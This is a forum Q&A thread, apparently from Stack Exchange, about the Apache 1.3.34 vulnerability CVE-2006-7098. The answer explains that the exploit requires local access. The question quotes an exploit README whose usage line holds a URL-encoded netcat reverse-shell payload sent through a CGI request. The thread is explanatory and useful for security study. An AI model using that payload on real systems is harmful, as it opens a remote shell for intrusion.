0

I'm studying the vulnerabilities of an old version of Apache, the 1.3.34. And I don't quite understand in what exact situation the CVE 2006-7098 vulnerability can be exploited. The README included in the exploit states that:

Local attacker can influence Apache to direct commands into an open tty owned by user who started apache process, usually root. This results in arbitrary command execution. Notes: Must have CGI execution privileges and service started manually by root via shell.

Usage: nc -vvv -l -p 31337 http://webserver/cgi-bin/cgipwn?nc%20myhost%2031337%20-e%20%2fbin%2f/sh%0d

At the beginning I understood that the vulnerability could be exploited from another machine in the same network of the vulnerable server. So from this other machine (attacker) I:

  • compiled the cgipwn exploit and installed it in the cgi-bin of the attacker machine apache.
  • executed the nc command from the attacker machine specifying -p as the port where the attacker apache listens to, webserver as the attacker machine IP and myhost as the server with the vulnerability.

But I've not succeeded: the command just doesn't return anything.

So, after rereading the exploit info several times, I've certain doubts about the phrase local attacker: does it mean that the vulnerability can only be exploited from the same machine where the vulnerable Apache is running? In that case I understand that the attacker should have a priori the credentials of a valid user in the machine with permissions to manage the apache (which would reduce quite a lot the applicability of the attack).

Could any body shed some light on this?

2

"Local attacker" means local to the machine. The official CVE states "local users" which is even more specific. Futhermore, this looks like a Debian-only (perhaps systems build on Debian as well) issue. It also looks like this problem was the result of applying a patch to Apache. So you'll need the right version of Apache as well.

Of course, the right solution is to use a supported version of Apache and apply all security patches promptly.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.